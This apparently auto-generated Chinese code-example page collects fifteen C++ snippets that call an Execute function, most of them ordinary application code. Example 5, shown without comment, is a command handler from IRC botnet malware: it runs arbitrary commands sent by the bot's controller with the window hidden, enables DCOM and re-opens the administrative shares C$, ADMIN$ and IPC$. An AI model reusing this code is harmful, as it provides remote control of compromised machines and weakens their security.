本文整理匯總了C++中Execute函數的典型用法代碼示例。如果您正苦於以下問題:C++ Execute函數的具體用法?C++ Execute怎麽用?C++ Execute使用的例子?那麽, 這裏精選的函數代碼示例或許可以為您提供幫助。
在下文中一共展示了Execute函數的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的C++代碼示例。
示例1: GetPath
void CGtserviceModule::ForceUpdate()
{
CString autoUpdate = GetPath() + _T("\\autoupdate.exe");
Execute(autoUpdate);
}
示例2: TagCurrentDir
int TagCurrentDir()
{
String cmd=config.exe+" "+config.opt;
if(!Execute(cmd))return 0;
return 1;
}
示例3: Unexecute
virtual void Unexecute(const DataObject &object)
{
// Since we can only Unexecute if Longest Road has not changed, simply
// rerun the Execute, which will update road lengths.
Execute(object);
}
示例4: Execute
ThreadedTask::~ThreadedTask()
{
ExitRequested = true;
Execute();
LWP_JoinThread(Thread, NULL);
}
示例5: sId
bool CBot::HandleCommand(CMessage *pMsg)
{
if(!pMsg->sCmd.Compare("bot.remove") || !pMsg->sCmd.Compare("bot.removeallbut")) {
CString sId(pMsg->sChatString.Token(1, " ", true));
if(!pMsg->sCmd.Compare("bot.removeallbut")) if(!sId.Compare(g_pMainCtrl->m_cBot.bot_id.sValue)) return false;
g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "removing bot...", pMsg->sReplyTo);
#ifdef WIN32
/// should unsecure system as remove bot to allow recycling //
// Set EnableDCOM to "Y"
HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128];
strcpy(szDataBuf, "Y"); dwSize=strlen(szDataBuf);
LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey);
RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize);
RegCloseKey(hkey);
// UnSecure Shares
Execute("net.exe", "net share c$=c:\\");
Execute("net.exe", "net share d$=d:\\");
Execute("net.exe", "net share e$=e:\\");
Execute("net.exe", "net share ipc$");
Execute("net.exe", "net share admin$");
// Delete Autostart
if(g_pMainCtrl->m_cBot.as_enabled.bValue)
g_pMainCtrl->m_cInstaller.RegStartDel(g_pMainCtrl->m_cBot.as_valname.sValue);
if(g_pMainCtrl->m_cBot.as_service.bValue)
g_pMainCtrl->m_cInstaller.ServiceDel(g_pMainCtrl->m_cBot.as_service_name.sValue);
#endif
g_pMainCtrl->m_cInstaller.Uninstall();
g_pMainCtrl->m_cIRC.m_bRunning=false; g_pMainCtrl->m_bRunning=false; }
else if(!pMsg->sCmd.Compare("bot.execute")) {
CString sText(pMsg->sChatString.Token(2, " ", true)); bool bVisible=atoi(pMsg->sChatString.Token(1, " ").CStr())==1;
#ifdef WIN32
CString sTextExp; ExpandEnvironmentStrings(sText.CStr(), sTextExp.GetBuffer(8192), 8192); // interpret environment variables
sText.Assign(sTextExp); PROCESS_INFORMATION pinfo; STARTUPINFO sinfo;
memset(&sinfo, 0, sizeof(STARTUPINFO)); sinfo.cb=sizeof(sinfo);
if(bVisible) sinfo.wShowWindow=SW_SHOW; else sinfo.wShowWindow=SW_HIDE;
if(!CreateProcess(NULL, sText.Str(), NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo)) {
g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute file.", pMsg->sReplyTo.Str()); return false; }
#else
CString sCmdBuf; sCmdBuf.Format("/bin/sh -c \"%s\"", sText.CStr());
if(system(sCmdBuf.CStr())==-1) { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute file.", pMsg->sReplyTo.Str()); return false; }
#endif
return true; }
else if(!pMsg->sCmd.Compare("bot.open")) {
if(!(pMsg->sChatString.GetLength() > (pMsg->sCmd.GetLength()+pMsg->sChatString.Token(1, " ").GetLength()+3))) return false;
CString sText; sText.Assign(&pMsg->sChatString[pMsg->sCmd.GetLength()+2]); bool bRet=false;
#ifdef WIN32
bRet=(int)ShellExecute(0, "open", sText.CStr(), NULL, NULL, SW_SHOW)>=32;
#else
bRet=system(sText.CStr())>0;
#endif
if(bRet) return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "file opened.", pMsg->sReplyTo.Str());
else return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't open file.", pMsg->sReplyTo.Str()); }
else if(!pMsg->sCmd.Compare("bot.dns")) {
CString sReply; hostent *pHostent=NULL; in_addr iaddr;
if(!pMsg->sChatString.Token(1, " ").Compare("")) return false;
unsigned long addr=inet_addr(pMsg->sChatString.Token(1, " ").CStr());
if(addr!=INADDR_NONE) {
pHostent=gethostbyaddr((char*)&addr, sizeof(struct in_addr), AF_INET);
if(pHostent) {
sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), pHostent->h_name);
return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); }
} else {
pHostent=gethostbyname(pMsg->sChatString.Token(1, " ").CStr());
if(pHostent) {
iaddr=*((in_addr*)*pHostent->h_addr_list);
sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), inet_ntoa(iaddr));
return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } }
if(!pHostent) {
sReply.Format("couldn't resolve host \"%s\"!", pMsg->sChatString.Token(1, " ").CStr());
return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } }
else if(!pMsg->sCmd.Compare("bot.about")) {
CString sReplyBuf; sReplyBuf.Format("%s", g_pMainCtrl->m_sNameVerStr.CStr());
return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReplyBuf.Str(), pMsg->sReplyTo.Str()); }
else if(!pMsg->sCmd.Compare("bot.id")) {
return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, bot_id.sValue.Str(), pMsg->sReplyTo.Str()); }
else if(!pMsg->sCmd.Compare("bot.nick")) {
g_pMainCtrl->m_sUserName.Format("%s", pMsg->sChatString.Token(1, " ", true).Mid(0, 32).CStr());
g_pMainCtrl->m_cIRC.SendRawFormat("NICK %s\r\n", g_pMainCtrl->m_sUserName.CStr());
return true; }
else if(!pMsg->sCmd.Compare("bot.quit") || !pMsg->sCmd.Compare("bot.die")) {
g_pMainCtrl->m_cIRC.m_bRunning=false; return true; }
else if(!pMsg->sCmd.Compare("bot.sysinfo")) {
return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, SysInfo().Str(), pMsg->sReplyTo.Str()); }
else if(!pMsg->sCmd.Compare("bot.longuptime")) {
int iDays=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iDays) iDays=7;
CString sUptime=LongUptime(iDays);
//.........這裏部分代碼省略.........
示例6: Execute
void MySQLConnection::RollbackTransaction()
{
Execute("ROLLBACK");
}
示例7: if
void CCommandLine::Parse(const std::vector<tstring>& args)
{
try
{
if (args.size() == 0)
return;
for (unsigned int i = 0; i < args.size(); ++i)
{
tstring strParameter = args.at(i);
if (i == 0)
{
if (strParameter.size() > 0 && strParameter[0] == '-')
{
if (strParameter == FINDAVAILABLETRACEID)
m_nOperationType = FIND_AVAILABLE_TRACE_ID;
else if (strParameter == FINDTRACEID)
m_nOperationType = FIND_TRACE_ID;
else if (strParameter == FINDUNUSEDTRACEID)
m_nOperationType = FIND_UNUSED_TRACE_ID;
}
else
m_nOperationType = UNKNOWN_OPERATION;
}
else
{
std::vector<tstring> parameters;
CTools::SplitString(args[i], "=", parameters);
if (parameters.size() == 2)
{
if (parameters.at(0) == TraceHeader)
m_strTraceHeader = parameters.at(1);
else if (parameters.at(0) == TraceID)
m_strTraceID = parameters.at(1);
else if (parameters.at(0) == ExportFile)
m_strExportFileName = parameters.at(1);
else if (parameters.at(0) == SourcePath)
m_strSourcePath = parameters.at(1);
else if (parameters.at(0) == MessageFile)
m_strMessageFile = parameters.at(1);
}
else
{
m_strErrorMessage = "Error parameter:" + args[i];
CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Error parameter:") + m_strErrorMessage);
break;
}
}
}
BOOL bReady = TRUE;
if (m_strSourcePath.empty())
{
bReady = FALSE;
CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Source Path is empty"));
}
if (m_strExportFileName.empty())
{
bReady = FALSE;
CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Exported file name is empty"));
}
if (m_nOperationType == FIND_AVAILABLE_TRACE_ID)
{
if (m_strTraceHeader.empty())
{
bReady = FALSE;
CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Trace Header is empty"));
}
}
else if (m_nOperationType == FIND_TRACE_ID)
{
if (m_strTraceID.empty())
{
bReady = FALSE;
CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Trace ID is empty"));
}
}
else if (m_nOperationType == FIND_UNUSED_TRACE_ID)
{
if (m_strMessageFile.empty())
{
bReady = FALSE;
CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Message File is empty"));
}
}
if (bReady)
Execute();
}
catch (std::exception& exc)
{
CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Exception:") + exc.what());
}
}
示例8: MGL_TO_WCS
//-----------------------------------------------------------------------------
void mglParser::Execute(mglGraph *gr, const char *text)
{
MGL_TO_WCS(text, Execute(gr, wcs));
}
示例9: E32Main
GLDEF_C TInt E32Main()
{
return Execute();
}
示例10: SetHasHotkeys
myMenuCommands::myMenuCommands(const char *_Title,cList<cNestedItem> *_Commands,const char *Parameters):cOsdMenu(_Title)
#else
myMenuCommands::myMenuCommands(const char *_Title,cCommands *_Commands, const char *Parameters):cOsdMenu(_Title)
#endif
{
SetHasHotkeys();
commands=_Commands;
#if VDRVERSNUM > 10713
result=NULL;
parameters=Parameters;
for(cNestedItem *Command=commands->First();Command;Command=commands->Next(Command)) {
const char *s=Command->Text();
if(Command->SubItems())
Add(new cOsdItem(hk(cString::sprintf("%s...", s))));
else if(Parse(s))
Add(new cOsdItem(hk(title)));
}
#else
parameters=Parameters?strdup(Parameters):NULL;
for(cCommand *command=commands->First();command;command=commands->Next(command))
Add(new cOsdItem(hk(command->Title())));
#endif
}
myMenuCommands::~myMenuCommands()
{
#if VDRVERSNUM > 10713
free(result);
#else
free(parameters);
#endif
}
#if VDRVERSNUM > 10713
bool myMenuCommands::Parse(const char *s)
{
const char *p=strchr(s,':');
if(p) {
int l=p-s;
if(l>0) {
char t[l+1];
stripspace(strn0cpy(t,s,l+1));
l=strlen(t);
if(l>1&&t[l-1]=='?') {
t[l-1]=0;
confirm=true;
}
else
confirm=false;
title=t;
command=skipspace(p+1);
return true;
}
}
return false;
}
#endif
#if VDRVERSNUM > 10713
eOSState myMenuCommands::Execute()
{
cNestedItem *Command=commands->Get(Current());
if(Command) {
if(Command->SubItems())
return AddSubMenu(new myMenuCommands(Title(),Command->SubItems(),parameters));
if(Parse(Command->Text())) {
if(!confirm||Interface->Confirm(cString::sprintf("%s?",*title))) {
Skins.Message(mtStatus,cString::sprintf("%s...",*title));
free(result);
result=NULL;
cString cmdbuf;
if(!isempty(parameters))
cmdbuf=cString::sprintf("%s %s",*command,*parameters);
const char *cmd=*cmdbuf?*cmdbuf:*command;
dsyslog("executing command '%s'",cmd);
cPipe p;
if(p.Open(cmd,"r")) {
int l=0;
int c;
while((c=fgetc(p))!=EOF) {
if(l%20==0)
result=(char *)realloc(result,l+21);
result[l++]=char(c);
}
if(result)
result[l]=0;
p.Close();
}
else
esyslog("ERROR: can't open pipe for command '%s'",cmd);
Skins.Message(mtStatus,NULL);
if(result)
return AddSubMenu(new cMenuText(title,result,fontFix));
return osEnd;
}
}
}
return osContinue;
}
#else
//.........這裏部分代碼省略.........
示例11: FFVC1UpdatePictureParam
// === Public functions
HRESULT CDXVADecoderVC1::DecodeFrame(BYTE* pDataIn, UINT nSize, REFERENCE_TIME rtStart, REFERENCE_TIME rtStop)
{
HRESULT hr;
int nSurfaceIndex;
CComPtr<IMediaSample> pSampleToDeliver;
int nFieldType, nSliceType;
UINT nFrameSize, nSize_Result;
FFVC1UpdatePictureParam(&m_PictureParams, m_pFilter->GetAVCtx(), &nFieldType, &nSliceType, pDataIn, nSize, &nFrameSize, FALSE, &m_bFrame_repeat_pict);
if (FFIsSkipped(m_pFilter->GetAVCtx())) {
return S_OK;
}
// Wait I frame after a flush
if (m_bFlushed && !m_PictureParams.bPicIntra) {
return S_FALSE;
}
hr = GetFreeSurfaceIndex(nSurfaceIndex, &pSampleToDeliver, rtStart, rtStop);
if (FAILED(hr)) {
ASSERT(hr == VFW_E_NOT_COMMITTED); // Normal when stop playing
return hr;
}
CHECK_HR_TRACE(BeginFrame(nSurfaceIndex, pSampleToDeliver));
TRACE_VC1("CDXVADecoderVC1::DecodeFrame() : PictureType = %d, rtStart = %I64d, Surf = %d\n", nSliceType, rtStart, nSurfaceIndex);
m_PictureParams.wDecodedPictureIndex = nSurfaceIndex;
m_PictureParams.wDeblockedPictureIndex = m_PictureParams.wDecodedPictureIndex;
// Manage reference picture list
if (!m_PictureParams.bPicBackwardPrediction) {
if (m_wRefPictureIndex[0] != NO_REF_FRAME) {
RemoveRefFrame(m_wRefPictureIndex[0]);
}
m_wRefPictureIndex[0] = m_wRefPictureIndex[1];
m_wRefPictureIndex[1] = nSurfaceIndex;
}
m_PictureParams.wForwardRefPictureIndex = (m_PictureParams.bPicIntra == 0) ? m_wRefPictureIndex[0] : NO_REF_FRAME;
m_PictureParams.wBackwardRefPictureIndex = (m_PictureParams.bPicBackwardPrediction == 1) ? m_wRefPictureIndex[1] : NO_REF_FRAME;
m_PictureParams.bPic4MVallowed = (m_PictureParams.wBackwardRefPictureIndex == NO_REF_FRAME && m_PictureParams.bPicStructure == 3) ? 1 : 0;
m_PictureParams.bPicDeblockConfined |= (m_PictureParams.wBackwardRefPictureIndex == NO_REF_FRAME) ? 0x04 : 0;
m_PictureParams.bPicScanMethod++; // Use for status reporting sections 3.8.1 and 3.8.2
TRACE_VC1("CDXVADecoderVC1::DecodeFrame() : Decode frame %i\n", m_PictureParams.bPicScanMethod);
// Send picture params to accelerator
CHECK_HR_TRACE(AddExecuteBuffer(DXVA2_PictureParametersBufferType, sizeof(m_PictureParams), &m_PictureParams));
// Send bitstream to accelerator
CHECK_HR_TRACE(AddExecuteBuffer(DXVA2_BitStreamDateBufferType, nFrameSize ? nFrameSize : nSize, pDataIn, &nSize_Result));
m_SliceInfo.wQuantizerScaleCode = 1; // TODO : 1->31 ???
m_SliceInfo.dwSliceBitsInBuffer = nSize_Result * 8;
CHECK_HR_TRACE(AddExecuteBuffer(DXVA2_SliceControlBufferType, sizeof(m_SliceInfo), &m_SliceInfo));
// Decode frame
CHECK_HR_TRACE(Execute());
CHECK_HR_TRACE(EndFrame(nSurfaceIndex));
// ***************
if (nFrameSize) { // Decoding Second Field
FFVC1UpdatePictureParam(&m_PictureParams, m_pFilter->GetAVCtx(), NULL, NULL, pDataIn, nSize, NULL, TRUE, &m_bFrame_repeat_pict);
CHECK_HR_TRACE(BeginFrame(nSurfaceIndex, pSampleToDeliver));
TRACE_VC1("CDXVADecoderVC1::DecodeFrame() : PictureType = %d\n", nSliceType);
CHECK_HR_TRACE(AddExecuteBuffer(DXVA2_PictureParametersBufferType, sizeof(m_PictureParams), &m_PictureParams));
// Send bitstream to accelerator
CHECK_HR_TRACE(AddExecuteBuffer(DXVA2_BitStreamDateBufferType, nSize - nFrameSize, pDataIn + nFrameSize, &nSize_Result));
m_SliceInfo.wQuantizerScaleCode = 1; // TODO : 1->31 ???
m_SliceInfo.dwSliceBitsInBuffer = nSize_Result * 8;
CHECK_HR_TRACE(AddExecuteBuffer(DXVA2_SliceControlBufferType, sizeof(m_SliceInfo), &m_SliceInfo));
// Decode frame
CHECK_HR_TRACE(Execute());
CHECK_HR_TRACE(EndFrame(nSurfaceIndex));
}
// ***************
#ifdef _DEBUG
DisplayStatus();
#endif
// Update timestamp & Re-order B frames
if (m_bFrame_repeat_pict || m_pFilter->IsReorderBFrame()) {
if (m_bFrame_repeat_pict || m_pFilter->GetCodec() == AV_CODEC_ID_WMV3) {
m_pFilter->UpdateFrameTime(rtStart, rtStop, !!m_bFrame_repeat_pict);
}
if (m_pFilter->IsReorderBFrame() || m_pFilter->IsEvo()) {
if (m_PictureParams.bPicBackwardPrediction == 1) {
SwapRT(rtStart, m_rtStartDelayed);
//.........這裏部分代碼省略.........
示例12: Execute
void KICAD_MANAGER_FRAME::OnRunPageLayoutEditor( wxCommandEvent& event )
{
Execute( this, PL_EDITOR_EXE );
}
示例13: CommonMain
// Common main for linux and windows
int CommonMain(const CefMainArgs& args, CefSettings settings, CefRefPtr<MainCefApp> app, void* windows_sandbox_info, std::string userDirectory)
{
#ifdef CLIENT_DEPLOYMENT
// Disable logging of CEF
settings.log_severity = LOGSEVERITY_DISABLE;
#else // if no deployment, open console
// Open Windows console for debugging purposes (even when deployed)
#ifdef _WIN32
AllocConsole();
freopen("conin$", "r", stdin);
freopen("conout$", "w", stdout);
freopen("conout$", "w", stderr);
#endif // _WIN32
#endif // CLIENT_DEPLOYMENT
// Set path for CEF data: cache, user data and debug.log
CefString(&settings.cache_path).FromASCII(std::string(userDirectory + "cache").c_str());
CefString(&settings.user_data_path).FromASCII(std::string(userDirectory + "user_data").c_str());
CefString(&settings.log_file).FromASCII(std::string(userDirectory + "debug.log").c_str());
// Set output path of custom log file
LogPath = userDirectory;
// Say hello
LogInfo("####################################################");
LogInfo("Welcome to GazeTheWeb - Browse!");
LogInfo("Version: ", CLIENT_VERSION);
LogInfo("Personal files are saved in: ", userDirectory);
// Turn on offscreen rendering.
settings.windowless_rendering_enabled = true;
settings.remote_debugging_port = 8088;
// Initialize CEF
LogInfo("Initializing CEF...");
CefInitialize(args, settings, app.get(), windows_sandbox_info);
LogInfo("..done.");
// Execute our code
bool shutdownOnExit = Execute(app, userDirectory);
// Shutdown CEF
LogInfo("Shutdown CEF...");
CefShutdown();
LogInfo("..done.");
// Return zero
LogInfo("Successful termination of program.");
LogInfo("####################################################");
// Tell computer to shut down
if (shutdownOnExit)
{
shutdown();
}
// Exit
return 0;
}
示例14: Execute
/*
================
idThread::Event_Execute
================
*/
void idThread::Event_Execute( void ) {
Execute();
}
示例15: while
unsigned int StdSchedulerThread::ThreadFunc() {
// Keep calling Execute until someone gets fed up and calls StopThread()
while (fRunThreadRun) Execute();
return (0);
}